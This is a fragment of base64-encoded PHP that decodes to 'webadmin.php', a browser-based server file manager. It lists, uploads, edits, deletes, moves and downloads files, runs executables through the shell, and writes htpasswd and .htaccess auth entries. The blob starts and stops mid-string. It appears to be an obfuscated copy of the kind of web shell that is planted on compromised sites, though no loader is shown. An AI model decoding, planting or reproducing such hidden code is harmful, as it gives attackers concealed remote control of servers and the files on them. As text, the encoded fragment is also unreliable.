sc2U7CgoJZWNobyAnPGgxIHN0eWxlPSJtYXJnaW4tYm90dG9tOiAwIj53ZWJhZG1pbi5waHA8L2gxPgoKPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPgoKPHRhYmxlIGlkPSJtYWluIj4KJzsKCglkaXJlY3RvcnlfY2hvaWNlKCk7CgoJaWYgKCFlbXB0eSgkbWVzc2FnZSkpIHsKCQlzcGFjZXIoKTsKCQllY2hvICRtZXNzYWdlOwoJfQoKCWlmIChAaXNfd3JpdGFibGUoJGRpcmVjdG9yeSkpIHsKCQl1cGxvYWRfYm94KCk7CgkJY3JlYXRlX2JveCgpOwoJfSBlbHNlIHsKCQlzcGFjZXIoKTsKCX0KCglpZiAoJGxpc3QpIHsKCQkkbGlzdCA9IHNvcnRsaXN0KCRsaXN0LCAkc29ydCwgJHJldmVyc2UpOwoJCWxpc3RpbmcoJGxpc3QpOwoJfSBlbHNlIHsKCQllY2hvIGVycm9yKCdub3RfcmVhZGFibGUnLCAkZGlyZWN0b3J5KTsKCX0KCgllY2hvICc8L3RhYmxlPgoKPC9mb3JtPgoKJzsKCglodG1sX2Zvb3RlcigpOwoKfQoKZnVuY3Rpb24gbGlzdGluZyAoJGxpc3QpIHsKCWdsb2JhbCAkZGlyZWN0b3J5LCAkaG9tZWRpciwgJHNvcnQsICRyZXZlcnNlLCAkd2luLCAkY29scywgJGRhdGVfZm9ybWF0LCAkc2VsZjsKCgllY2hvICc8dHIgY2xhc3M9Imxpc3RpbmciPgoJPHRoIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGUiPjxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPXNtaWxleSIgYWx0PSJzbWlsZXkiIC8+PC90aD4KJzsKCgljb2x1bW5fdGl0bGUoJ2ZpbGVuYW1lJywgJHNvcnQsICRyZXZlcnNlKTsKCWNvbHVtbl90aXRsZSgnc2l6ZScsICRzb3J0LCAkcmV2ZXJzZSk7CgoJaWYgKCEkd2luKSB7CgkJY29sdW1uX3RpdGxlKCdwZXJtaXNzaW9uJywgJHNvcnQsICRyZXZlcnNlKTsKCQljb2x1bW5fdGl0bGUoJ293bmVyJywgJHNvcnQsICRyZXZlcnNlKTsKCQljb2x1bW5fdGl0bGUoJ2dyb3VwJywgJHNvcnQsICRyZXZlcnNlKTsKCX0KCgllY2hvICcJPHRoIGNsYXNzPSJmdW5jdGlvbnMiPicgLiB3b3JkKCdmdW5jdGlvbnMnKSAuICc8L3RoPgo8L3RyPgonOwoKCWZvciAoJGkgPSAwOyAkaSA8IHNpemVvZigkbGlzdCk7ICRpKyspIHsKCQkkZmlsZSA9ICRsaXN0WyRpXTsKCgkJJHRpbWVzdGFtcHMgID0gJ210aW1lOiAnIC4gZGF0ZSgkZGF0ZV9mb3JtYXQsICRmaWxlWydtdGltZSddKSAuICcsICc7CgkJJHRpbWVzdGFtcHMgLj0gJ2F0aW1lOiAnIC4gZGF0ZSgkZGF0ZV9mb3JtYXQsICRmaWxlWydhdGltZSddKSAuICcsICc7CgkJJHRpbWVzdGFtcHMgLj0gJ2N0aW1lOiAnIC4gZGF0ZSgkZGF0ZV9mb3JtYXQsICRmaWxlWydjdGltZSddKTsKCgkJZWNobyAnPHRyIGNsYXNzPSJsaXN0aW5nIj4KCTx0ZCBjbGFzcz0iY2hlY2tib3giPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2tlZCcgLiAkaSAuICciIHZhbHVlPSJ0cnVlIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPjwvdGQ+Cgk8dGQgY2xhc3M9ImZpbGVuYW1lIiB0aXRsZT0iJyAuIGh0bWwoJHRpbWVzdGFtcHMpIC4gJyI+JzsKCgkJaWYgKCRmaWxlWydpc19saW5rJ10pIHsKCgkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWxpbmsiIGFsdD0ibGluayIgLz4gJzsKCQkJZWNobyBodG1sKCRmaWxlWydmaWxlbmFtZSddKSAuICcgJnJhcnI7ICc7CgoJCQkkcmVhbF9maWxlID0gcmVsYXRpdmUyYWJzb2x1dGUoJGZpbGVbJ3RhcmdldCddLCAkZGlyZWN0b3J5KTsKCgkJCWlmIChAaXNfcmVhZGFibGUoJHJlYWxfZmlsZSkpIHsKCQkJCWlmIChAaXNfZGlyKCRyZWFsX2ZpbGUpKSB7CgkJCQkJZWNobyAnWyA8YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRyZWFsX2ZpbGUpIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ3RhcmdldCddKSAuICc8L2E+IF0nOwoJCQkJfSBlbHNlIHsKCQkJCQllY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2FjdGlvbj12aWV3JmFtcDtmaWxlPScgLiB1cmxlbmNvZGUoJHJlYWxfZmlsZSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsndGFyZ2V0J10pIC4gJzwvYT4nOwoJCQkJfQoJCQl9IGVsc2UgewoJCQkJZWNobyBodG1sKCRmaWxlWyd0YXJnZXQnXSk7CgkJCX0KCgkJfSBlbHNlaWYgKCRmaWxlWydpc19kaXInXSkgewoKCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9Zm9sZGVyIiBhbHQ9ImZvbGRlciIgLz4gWyAnOwoJCQlpZiAoJHdpbiB8fCAkZmlsZVsnaXNfZXhlY3V0YWJsZSddKSB7CgkJCQllY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRmaWxlWydwYXRoJ10pIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pIC4gJzwvYT4nOwoJCQl9IGVsc2UgewoJCQkJZWNobyBodG1sKCRmaWxlWydmaWxlbmFtZSddKTsKCQkJfQoJCQllY2hvICcgXSc7CgoJCX0gZWxzZSB7CgoJCQlpZiAoc3Vic3RyKCRmaWxlWydmaWxlbmFtZSddLCAwLCAxKSA9PSAnLicpIHsKCQkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWhpZGRlbl9maWxlIiBhbHQ9ImhpZGRlbiBmaWxlIiAvPiAnOwoJCQl9IGVsc2UgewoJCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9ZmlsZSIgYWx0PSJmaWxlIiAvPiAnOwoJCQl9CgoJCQlpZiAoJGZpbGVbJ2lzX2ZpbGUnXSAmJiAkZmlsZVsnaXNfcmVhZGFibGUnXSkgewoJCQkgICBlY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2FjdGlvbj12aWV3JmFtcDtmaWxlPScgLiB1cmxlbmNvZGUoJGZpbGVbJ3BhdGgnXSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSkgLiAnPC9hPic7CgkJCX0gZWxzZSB7CgkJCQllY2hvIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pOwoJCQl9CgoJCX0KCgkJaWYgKCRmaWxlWydzaXplJ10gPj0gMTAwMCkgewoJCQkkaHVtYW4gPSAnIHRpdGxlPSInIC4gaHVtYW5fZmlsZXNpemUoJGZpbGVbJ3NpemUnXSkgLiAnIic7CgkJfSBlbHNlIHsKCQkJJGh1bWFuID0gJyc7CgkJfQoKCQllY2hvICI8L3RkPlxuIjsKCgkJZWNobyAiXHQ8dGQgY2xhc3M9XCJzaXplXCIkaHVtYW4+eyRmaWxlWydzaXplJ119IEI8L3RkPlxuIjsKCgkJaWYgKCEkd2luKSB7CgoJCQllY2hvICJcdDx0ZCBjbGFzcz1cInBlcm1pc3Npb25cIiB0aXRsZT1cIiIgLiBkZWNvY3QoJGZpbGVbJ3Blcm1pc3Npb24nXSkgLiAnIj4nOwoKCQkJJGwgPSAhJGZpbGVbJ2lzX2xpbmsnXSAmJiAoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0dWlkJykgfHwgJGZpbGVbJ293bmVyJ10gPT0gcG9zaXhfZ2V0dWlkKCkpOwoJCQlpZiAoJGwpIGVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/YWN0aW9uPXBlcm1pc3Npb24mYW1wO2ZpbGU9JyAuIHVybGVuY29kZSgkZmlsZVsncGF0aCddKSAuICcmYW1wO2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+JzsKCQkJZWNobyBodG1sKHBlcm1pc3Npb25fb2N0YWwyc3RyaW5nKCRmaWxlWydwZXJtaXNzaW9uJ10pKTsKCQkJaWYgKCRsKSBlY2hvICc8L2E+JzsKCgkJCWVjaG8gIjwvdGQ+XG4iOwoKCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ293bmVyX25hbWUnLCAkZmlsZSkpIHsKCQkJCWVjaG8gIlx0PHRkIGNsYXNzPVwib3duZXJcIiB0aXRsZT1cInVpZDogeyRmaWxlWydvd25lciddfVwiPnskZmlsZVsnb3duZXJfbmFtZSddfTwvdGQ+XG4iOwoJCQl9IGVsc2UgewoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJvd25lclwiPnskZmlsZVsnb3duZXInXX08L3RkPlxuIjsKCQkJfQoKCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ2dyb3VwX25hbWUnLCAkZmlsZSkpIHsKCQkJCWVjaG8gIlx0PHRkIGNsYXNzPVwiZ3JvdXBcIiB0aXRsZT1cImdpZDogeyRmaWxlWydncm91cCddfVwiPnskZmlsZVsnZ3JvdXBfbmFtZSddfTwvdGQ+XG4iOwoJCQl9IGVsc2UgewoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJncm91cFwiPnskZmlsZVsnZ3JvdXAnXX08L3RkPlxuIjsKCQkJfQoKCQl9CgoJCWVjaG8gJwk8dGQgY2xhc3M9ImZ1bmN0aW9ucyI+CgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZScgLiAkaSAuICciIHZhbHVlPSInIC4gaHRtbCgkZmlsZVsncGF0aCddKSAuICciIC8+Cic7CgoJCSRhY3Rpb25zID0gYXJyYXkoKTsKCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJykpIHsKCQkJJGFjdGlvbnNbXSA9ICdjcmVhdGVfc3ltbGluayc7CgkJfQoJCWlmIChAaXNfd3JpdGFibGUoZGlybmFtZSgkZmlsZVsncGF0aCddKSkpIHsKCQkJJGFjdGlvbnNbXSA9ICdkZWxldGUnOwoJCQkkYWN0aW9uc1tdID0gJ3JlbmFtZSc7CgkJCSRhY3Rpb25zW10gPSAnbW92ZSc7CgkJfQoJCWlmICgkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19yZWFkYWJsZSddKSB7CgkJCSRhY3Rpb25zW10gPSAnY29weSc7CgkJCSRhY3Rpb25zW10gPSAnZG93bmxvYWQnOwoJCQlpZiAoJGZpbGVbJ2lzX3dyaXRhYmxlJ10pICRhY3Rpb25zW10gPSAnZWRpdCc7CgkJfQoJCWlmICghJHdpbiAmJiBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19leGVjdXRhYmxlJ10gJiYgZmlsZV9leGlzdHMoJy9iaW4vc2gnKSkgewoJCQkkYWN0aW9uc1tdID0gJ2V4ZWN1dGUnOwoJCX0KCgkJaWYgKHNpemVvZigkYWN0aW9ucykgPiAwKSB7CgoJCQllY2hvICcJCTxzZWxlY3QgY2xhc3M9InNtYWxsIiBuYW1lPSJhY3Rpb24nIC4gJGkgLiAnIiBzaXplPSIxIj4KCQk8b3B0aW9uIHZhbHVlPSIiPicgLiBzdHJfcmVwZWF0KCcmbmJzcDsnLCAzMCkgLiAnPC9vcHRpb24+Cic7CgoJCQlmb3JlYWNoICgkYWN0aW9ucyBhcyAkYWN0aW9uKSB7CgkJCQllY2hvICJcdFx0PG9wdGlvbiB2YWx1ZT1cIiRhY3Rpb25cIj4iIC4gd29yZCgkYWN0aW9uKSAuICI8L29wdGlvbj5cbiI7CgkJCX0KCgkJCWVjaG8gJwkJPC9zZWxlY3Q+CgkJPGlucHV0IGNsYXNzPSJzbWFsbCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQnIC4gJGkgLiAnIiB2YWx1ZT0iICZndDsgIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPgonOwoKCQl9CgoJCWVjaG8gJwk8L3RkPgo8L3RyPgonOwoKCX0KCgllY2hvICc8dHIgY2xhc3M9Imxpc3RpbmdfZm9vdGVyIj4KCTx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQ7IHZlcnRpY2FsLWFsaWduOiB0b3AiPjxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWFycm93IiBhbHQ9IiZndDsiIC8+PC90ZD4KCTx0ZCBjb2xzcGFuPSInIC4gKCRjb2xzIC0gMSkgLiAnIj4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJudW0iIHZhbHVlPSInIC4gc2l6ZW9mKCRsaXN0KSAuICciIC8+CgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZm9jdXMiIHZhbHVlPSIiIC8+CgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib2xkZGlyIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPgonOwoKCSRhY3Rpb25zID0gYXJyYXkoKTsKCWlmIChAaXNfd3JpdGFibGUoZGlybmFtZSgkZmlsZVsncGF0aCddKSkpIHsKCQkkYWN0aW9uc1tdID0gJ2RlbGV0ZSc7CgkJJGFjdGlvbnNbXSA9ICdtb3ZlJzsKCX0KCSRhY3Rpb25zW10gPSAnY29weSc7CgoJZWNobyAnCQk8c2VsZWN0IGNsYXNzPSJzbWFsbCIgbmFtZT0iYWN0aW9uX2FsbCIgc2l6ZT0iMSI+CgkJPG9wdGlvbiB2YWx1ZT0iIj4nIC4gc3RyX3JlcGVhdCgnJm5ic3A7JywgMzApIC4gJzwvb3B0aW9uPgonOwoKCWZvcmVhY2ggKCRhY3Rpb25zIGFzICRhY3Rpb24pIHsKCQllY2hvICJcdFx0PG9wdGlvbiB2YWx1ZT1cIiRhY3Rpb25cIj4iIC4gd29yZCgkYWN0aW9uKSAuICI8L29wdGlvbj5cbiI7Cgl9CgoJZWNobyAnCQk8L3NlbGVjdD4KCQk8aW5wdXQgY2xhc3M9InNtYWxsIiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdF9hbGwiIHZhbHVlPSIgJmd0OyAiIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+Cgk8L3RkPgo8L3RyPgonOwoKfQoKZnVuY3Rpb24gY29sdW1uX3RpdGxlICgkY29sdW1uLCAkc29ydCwgJHJldmVyc2UpIHsKCWdsb2JhbCAkc2VsZiwgJGRpcmVjdG9yeTsKCgkkZCA9ICdkaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICcmYW1wOyc7CgoJaWYgKCRzb3J0ID09ICRjb2x1bW4pIHsKCQlpZiAoISRyZXZlcnNlKSB7CgkJCSRyID0gJyZhbXA7cmV2ZXJzZT10cnVlJzsKCQkJJGFyciA9ICcgJmFuZDsnOwoJCX0gZWxzZSB7CgkJCSRhcnIgPSAnICZvcjsnOwoJCX0KCX0gZWxzZSB7CgkJJHIgPSAnJzsKCX0KCWVjaG8gIlx0PHRoIGNsYXNzPVwiJGNvbHVtblwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD0kY29sdW1uJHJcIj4iIC4gd29yZCgkY29sdW1uKSAuICI8L2E+JGFycjwvdGg+XG4iOwoKfQoKZnVuY3Rpb24gZGlyZWN0b3J5X2Nob2ljZSAoKSB7CglnbG9iYWwgJGRpcmVjdG9yeSwgJGhvbWVkaXIsICRjb2xzLCAkc2VsZjsKCgllY2hvICc8dHI+Cgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImRpcmVjdG9yeSI+CgkJPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkaG9tZWRpcikgLiAnIj4nIC4gd29yZCgnZGlyZWN0b3J5JykgLiAnPC9hPjoKCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnZGlyZWN0b3J5XCcpIiAvPgoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNoYW5nZWRpciIgdmFsdWU9IicgLiB3b3JkKCdjaGFuZ2UnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnZGlyZWN0b3J5XCcpIiAvPgoJPC90ZD4KPC90cj4KJzsKCn0KCmZ1bmN0aW9uIHVwbG9hZF9ib3ggKCkgewoJZ2xvYmFsICRjb2xzOwoKCWVjaG8gJzx0cj4KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIiBpZD0idXBsb2FkIj4KCQknIC4gd29yZCgnZmlsZScpIC4gJzoKCQk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPgoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdF91cGxvYWQiIHZhbHVlPSInIC4gd29yZCgndXBsb2FkJykgLiAnIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPgoJPC90ZD4KPC90cj4KJzsKCn0KCmZ1bmN0aW9uIGNyZWF0ZV9ib3ggKCkgewoJZ2xvYmFsICRjb2xzOwoKCWVjaG8gJzx0cj4KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIiBpZD0iY3JlYXRlIj4KCQk8c2VsZWN0IG5hbWU9ImNyZWF0ZV90eXBlIiBzaXplPSIxIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ2NyZWF0ZVwnKSI+CgkJPG9wdGlvbiB2YWx1ZT0iZmlsZSI+JyAuIHdvcmQoJ2ZpbGUnKSAuICc8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSJkaXJlY3RvcnkiPicgLiB3b3JkKCdkaXJlY3RvcnknKSAuICc8L29wdGlvbj4KCQk8L3NlbGVjdD4KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3JlYXRlX25hbWUiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIiAvPgoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdF9jcmVhdGUiIHZhbHVlPSInIC4gd29yZCgnY3JlYXRlJykgLiAnIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ2NyZWF0ZVwnKSIgLz4KCTwvdGQ+CjwvdHI+Cic7Cgp9CgpmdW5jdGlvbiBlZGl0ICgkZmlsZSkgewoJZ2xvYmFsICRzZWxmLCAkZGlyZWN0b3J5LCAkZWRpdGNvbHMsICRlZGl0cm93cywgJGFwYWNoZSwgJGh0cGFzc3dkLCAkaHRhY2Nlc3M7CgoJaHRtbF9oZWFkZXIoKTsKCgllY2hvICc8aDIgc3R5bGU9Im1hcmdpbi1ib3R0b206IDNwdCI+JyAuIGh0bWwoJGZpbGUpIC4gJzwvaDI+Cgo8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+Cgo8dGFibGUgY2xhc3M9ImRpYWxvZyI+Cjx0cj4KPHRkIGNsYXNzPSJkaWFsb2ciPgoKCTx0ZXh0YXJlYSBuYW1lPSJjb250ZW50IiBjb2xzPSInIC4gJGVkaXRjb2xzIC4gJyIgcm93cz0iJyAuICRlZGl0cm93cyAuICciIFdSQVA9Im9mZiI+JzsKCglpZiAoYXJyYXlfa2V5X2V4aXN0cygnY29udGVudCcsICRfUE9TVCkpIHsKCQllY2hvICRfUE9TVFsnY29udGVudCddOwoJfSBlbHNlIHsKCQkkZiA9IGZvcGVuKCRmaWxlLCAncicpOwoJCXdoaWxlICghZmVvZigkZikpIHsKCQkJZWNobyBodG1sKGZyZWFkKCRmLCA4MTkyKSk7CgkJfQoJCWZjbG9zZSgkZik7Cgl9CgoJaWYgKCFlbXB0eSgkX1BPU1RbJ3VzZXInXSkpIHsKCQllY2hvICJcbiIgLiAkX1BPU1RbJ3VzZXInXSAuICc6JyAuIGNyeXB0KCRfUE9TVFsncGFzc3dvcmQnXSk7Cgl9CglpZiAoIWVtcHR5KCRfUE9TVFsnYmFzaWNfYXV0aCddKSkgewoJCWlmICgkd2luKSB7CgkJCSRhdXRoZmlsZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGRpcmVjdG9yeSkgLiAkaHRwYXNzd2Q7CgkJfSBlbHNlIHsKCQkJJGF1dGhmaWxlID0gJGRpcmVjdG9yeSAuICRodHBhc3N3ZDsKCQl9CgkJZWNobyAiXG5BdXRoVHlwZSBCYXNpY1xuQXV0aE5hbWUgJnF1b3Q7UmVzdHJpY3RlZCBEaXJlY3RvcnkmcXVvdDtcbiI7CgkJZWNobyAnQXV0aFVzZXJGaWxlICZxdW90OycgLiBodG1sKCRhdXRoZmlsZSkgLiAiJnF1b3Q7XG4iOwoJCWVjaG8gJ1JlcXVpcmUgdmFsaWQtdXNlcic7Cgl9CgoJZWNobyAnPC90ZXh0YXJlYT4KCgk8aHIgLz4KJzsKCglpZiAoJGFwYWNoZSAmJiBiYXNlbmFtZSgkZmlsZSkgPT0gJGh0cGFzc3dkKSB7CgkJZWNobyAnCgknIC4gd29yZCgndXNlcicpIC4gJzogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIC8+CgknIC4gd29yZCgncGFzc3dvcmQnKSAuICc6IDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJyAuIHdvcmQoJ2FkZCcpIC4gJyIgLz4KCgk8aHIgLz4KJzsKCgl9CgoJaWYgKCRhcGFjaGUgJiYgYmFzZW5hbWUoJGZpbGUpID09ICRodGFjY2VzcykgewoJCWVjaG8gJwoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmFzaWNfYXV0aCIgdmFsdWU9IicgLiB3b3JkKCdhZGRfYmFzaWNfYXV0aCcpIC4gJyIgLz4KCgk8aHIgLz4KJzsKCgl9CgoJZWNobyAnCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJlZGl0IiAvPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IicgLiBodG1sKCRmaWxlKSAuICciIC8+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+Cgk8aW5wdXQgdHlwZT0icmVzZXQiIHZhbHVlPSInIC4gd29yZCgncmVzZXQnKSAuICciIGlkPSJyZWRfYnV0dG9uIiAvPgoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9IicgLiB3b3JkKCdzYXZlJykgLiAnIiBpZD0iZ3JlZW5fYnV0dG9uIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDUwcHgiIC8+Cgo8L3RkPgo8L3RyPgo8L3RhYmxlPgoKPHA+PGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICciPlsgJyAuIHdvcmQoJ2JhY2snKSAuICcgXTwvYT48L3A+Cgo8L2Zvcm0+CgonOwoKCWh0bWxfZm9vdGVyKCk7Cgp9CgpmdW5jdGlvbiBzcGFjZXIgKCkgewoJZ2xvYmFsICRjb2xzOwoKCWVjaG8gJzx0cj4KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIiBzdHlsZT0iaGVpZ2h0OiAxZW0iPjwvdGQ+CjwvdHI+Cic7Cgp9CgpmdW5jdGlvbiB0ZXh0ZmllbGRzaXplICgkY29udGVudCkgewoKCSRzaXplID0gc3RybGVuKCRjb250ZW50KSArIDU7CglpZiAoJHNpemUgPCAzMCkgJHNpemUgPSAzMDsKCglyZXR1cm4gJHNpemU7Cgp9CgpmdW5jdGlvbiByZXF1ZXN0X2R1bXAgKCkgewoKCWZvcmVhY2ggKCRfUkVRVUVTVCBhcyAka2V5ID0+ICR2YWx1ZSkgewoJCWVjaG8gIlx0PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiIiAuIGh0bWwoJGtleSkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJHZhbHVlKSAuICJcIiAvPlxuIjsKCX0KCn0KCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8KCmZ1bmN0aW9uIGh0bWwgKCRzdHJpbmcpIHsKCWdsb2JhbCAkc2l0ZV9jaGFyc2V0OwoJcmV0dXJuIGh0bWxlbnRpdGllcygkc3RyaW5nLCBFTlRfQ09NUEFULCAkc2l0ZV9jaGFyc2V0KTsKfQoKZnVuY3Rpb24gd29yZCAoJHdvcmQpIHsKCWdsb2JhbCAkd29yZHMsICR3b3JkX2NoYXJzZXQ7CglyZXR1cm4gaHRtbGVudGl0aWVzKCR3b3Jkc1skd29yZF0sIEVOVF9DT01QQVQsICR3b3JkX2NoYXJzZXQpOwp9CgpmdW5jdGlvbiBwaHJhc2UgKCRwaHJhc2UsICRhcmd1bWVudHMpIHsKCWdsb2JhbCAkd29yZHM7CglzdGF0aWMgJHNlYXJjaDsKCglpZiAoIWlzX2FycmF5KCRzZWFyY2gpKSBmb3IgKCRpID0gMTsgJGkgPD0gODsgJGkrKykgJHNlYXJjaFtdID0gIiUkaSI7CgoJZm9yICgkaSA9IDA7ICRpIDwgc2l6ZW9mKCRhcmd1bWVudHMpOyAkaSsrKSB7CgkJJGFyZ3VtZW50c1skaV0gPSBubDJicihodG1sKCRhcmd1bWVudHNbJGldKSk7Cgl9CgoJJHJlcGxhY2UgPSBhcnJheSgneycgPT4gJzxwcmU+JywgJ30nID0+JzwvcHJlPicsICdbJyA9PiAnPGI+JywgJ10nID0+ICc8L2I+Jyk7CgoJcmV0dXJuIHN0cl9yZXBsYWNlKCRzZWFyY2gsICRhcmd1bWVudHMsIHN0cl9yZXBsYWNlKGFycmF5X2tleXMoJHJlcGxhY2UpLCAkcmVwbGFjZSwgbmwyYnIoaHRtbCgkd29yZHNbJHBocmFzZV0pKSkpOwoKfQoKZnVuY3Rpb24gZ2V0d29yZHMgKCRsYW5nKSB7CglnbG9iYWwgJHdvcmRfY2hhcnNldCwgJGRhdGVfZm9ybWF0OwoKCXN3aXRjaCAoJGxhbmcpIHsKCWNhc2UgJ2VuJzoKCWRlZmF1bHQ6CgoJCSRkYXRlX2Zvcm1hdCA9ICduL2oveSBIOmk6cyc7CgkJJHdvcmRfY2hhcnNldCA9ICdJU08tODg1OS0xJzsKCgkJcmV0dXJuIGFycmF5KAonZGlyZWN0b3J5JyA9PiAnRGlyZWN0b3J5JywKJ2ZpbGUnID0+ICdGaWxlJywKJ2ZpbGVuYW1lJyA9PiAnRmlsZW5hbWUnLAoKJ3NpemUnID0+ICdTaXplJywKJ3Blcm1pc3Npb24nID0+ICdQZXJtaXNzaW9uJywKJ293bmVyJyA9PiAnT3duZXInLAonZ3JvdXAnID0+ICdHcm91cCcsCidvdGhlcicgPT4gJ090aGVycycsCidmdW5jdGlvbnMnID0+ICdGdW5jdGlvbnMnLAoKJ3JlYWQnID0+ICdyZWFkJywKJ3dyaXRlJyA9PiAnd3JpdGUnLAonZXhlY3V0ZScgPT4gJ2V4ZWN1dGUnLAoKJ2NyZWF0ZV9zeW1saW5rJyA9PiAnY3JlYXRlIHN5bWxpbmsnLAonZGVsZXRlJyA9PiAnZGVsZXRlJywKJ3JlbmFtZScgPT4gJ3JlbmFtZScsCidtb3ZlJyA9PiAnbW92ZScsCidjb3B5JyA9PiAnY29weScsCidlZGl0JyA9PiAnZWRpdCcsCidkb3dubG9hZCcgPT4gJ2Rvd25sb2FkJywKJ3VwbG9hZCcgPT4gJ3VwbG9hZCcsCidjcmVhdGUnID0+ICdjcmVhdGUnLAonY2hhbmdlJyA9PiAnY2hhbmdlJywKJ3NhdmUnID0+ICdzYXZlJywKJ3NldCcgPT4gJ3NldCcsCidyZXNldCcgPT4gJ3Jlc2V0JywKJ3JlbGF0aXZlJyA9PiAnUmVsYXRpdmUgcGF0aCB0byB0YXJnZXQnLAoKJ3llcycgPT4gJ1llcycsCidubycgPT4gJ05vJywKJ2JhY2snID0+ICdiYWNrJywKJ2Rlc3RpbmF0aW9uJyA9PiAnRGV